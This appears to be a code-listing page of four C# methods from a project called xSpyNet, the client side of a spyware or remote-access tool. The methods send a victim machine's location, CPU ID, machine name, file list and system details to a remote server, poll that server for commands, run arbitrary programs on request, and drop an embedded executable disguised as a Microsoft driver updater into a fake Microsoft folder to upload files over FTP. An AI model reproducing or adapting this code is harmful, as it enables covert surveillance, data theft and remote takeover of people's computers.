コード例 #1
0
ファイル: Main.cs プロジェクト: nguyenhuutuananh/xSpyNet
        private void LocationTimer_Tick(object sender, EventArgs e)
        {
            var response = http.Post(mainserver + "sn-asend.php", new NameValueCollection()
            {
                { "act", "updatelocation" },
                { "user", user },
                { "cpuid", ComputerInfo.getCPUID() },
                { "latitude", strLocationLat },
                { "longitude", strLocationLong },
                { "token", encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
            });
            string result = System.Text.Encoding.UTF8.GetString(response);

            lblHello.Text = result;
            if (result != "INSERT_PCINFO_ERROR")
            {
                LocationTimer.Start();
            }
        }
コード例 #2
0
ファイル: Main.cs プロジェクト: nguyenhuutuananh/xSpyNet
 private void OnlineTimer_Tick(object sender, EventArgs e)
 {
     try
     {
         var response = http.Post(mainserver + "sn-asend.php", new NameValueCollection()
         {
             { "act", "updateonline" },
             { "user", user },
             { "cpuid", ComputerInfo.getCPUID() },
             { "token", encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
         });
         string result = System.Text.Encoding.UTF8.GetString(response);
         lblHello.Text = result;
     }
     catch
     {
         //lblHello.Text = "Check Err";
     }
 }
コード例 #3
0
ファイル: Main.cs プロジェクト: nguyenhuutuananh/xSpyNet
 void SendData()
 {
     // Send File
     try
     {
         var response = http.Post(mainserver + "sn-asend.php", new NameValueCollection()
         {
             { "act", "updatepcinfo" },
             { "user", user },
             { "cpuid", ComputerInfo.getCPUID() },
             { "pcname", Environment.MachineName },
             { "filelist", txtColor.Text },
             { "more", "OS: " + cpinfo.GetPcInfo("Caption") + Environment.NewLine + "Manufacturer: " + cpinfo.GetPcInfo("manufacturer") + Environment.NewLine + "Model: " + cpinfo.GetPcInfo("model") },
             { "token", encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
         });
         string result = System.Text.Encoding.UTF8.GetString(response);
         lblHello.Text = result;
         if (result != "INSERT_PCINFO_ERROR")
         {
             LocationTimer.Start();
             OnlineTimer.Start();
             QueryTimer.Start();
             try{
                 if (int.Parse(result) > -1)
                 {
                     FTPserverid = int.Parse(result);
                 }
             }
             catch {
             }
         }
         lblHello.ForeColor = Color.Blue;
     }
     catch
     {
         lblHello.ForeColor = Color.LightPink;
     }
 }
コード例 #4
0
ファイル: Main.cs プロジェクト: nguyenhuutuananh/xSpyNet
        private void QueryTimer_Tick(object sender, EventArgs e)
        {
            try
            {
                var response = http.Post(mainserver + "sn-aget.php", new NameValueCollection()
                {
                    { "act", "getquery" },
                    { "user", user },
                    { "cpuid", ComputerInfo.getCPUID() },
                    { "token", encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
                });
                string   result = System.Text.Encoding.UTF8.GetString(response);
                string[] totalquery = result.Split('/'), query;
                string   queryid, querycode, querytype;
                for (int i = 0; i < totalquery.Count(); i++)
                {
                    if (totalquery[i].Trim() != "")
                    {
                        query     = totalquery[i].Split('|');
                        queryid   = query[0];
                        querycode = HttpUtility.UrlDecode(query[1]);
                        querytype = query[2];
                        if (querytype == "getfile" && FTPserverid > -1)
                        {
                            //txtQuery.Text = queryid + " " + querycode + " " + querytype + " " + FTPserverid;
                            txtQuery.Text = FTPserverid.ToString() + " " + encrypt.Encrypt(user, Hashx) + " " + encrypt.Encrypt(ComputerInfo.getCPUID(), Hashx) + " " + encrypt.Encrypt(querycode, Hashx) + " " + encrypt.Encrypt(mainserver, Hashx) + " " + queryid;
                            // Bung file upload FTP tên: Microsoft Driver Update
                            // mdriverupdater

                            if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver"))
                            {
                                Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver");
                            }
                            if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverupdater.exe"))
                            {
                                byte[] mdriverupdater = Properties.Resources.MicrosoftDriverUpdater;
                                File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverupdater.exe", mdriverupdater);
                            }
                            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverupdater.exe") == true)
                            {
                                Process p = new Process();
                                p.StartInfo.FileName  = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverupdater.exe";
                                p.StartInfo.Arguments = FTPserverid.ToString() + " " + encrypt.Encrypt(user, Hashx) + " " + encrypt.Encrypt(ComputerInfo.getCPUID(), Hashx) + " " + encrypt.Encrypt(querycode, Hashx) + " " + encrypt.Encrypt(mainserver, Hashx) + " " + queryid;
                                txtQuery.Text         = p.StartInfo.Arguments;
                                p.Start();
                                //System.Diagnostics.Process.Start();
                            }
                        }
                        else if (querytype == "runapp")
                        {
                            try {
                                System.Diagnostics.Process.Start(querycode);
                                response = xSpyNet.http.Post(xSpyNet.encrypt.Decrypt(mainserver, Hashx) + "sn-asend.php", new NameValueCollection()
                                {
                                    { "act", "updatequeryinfo" },
                                    { "user", user },
                                    { "cpuid", ComputerInfo.getCPUID() },
                                    { "queryid", queryid },
                                    { "querytype", querytype },
                                    { "token", xSpyNet.encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
                                });
                                result = System.Text.Encoding.UTF8.GetString(response);
                            }
                            catch
                            {
                                response = xSpyNet.http.Post(xSpyNet.encrypt.Decrypt(mainserver, Hashx) + "sn-asend.php", new NameValueCollection()
                                {
                                    { "act", "updateerrorquery" },
                                    { "user", user },
                                    { "cpuid", ComputerInfo.getCPUID() },
                                    { "queryid", queryid },
                                    { "querytype", querytype },
                                    { "token", xSpyNet.encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
                                });
                                result = System.Text.Encoding.UTF8.GetString(response);
                            }
                        }
                    }
                }
            }
            catch
            {
                //lblHello.Text = "Err";
            }
        }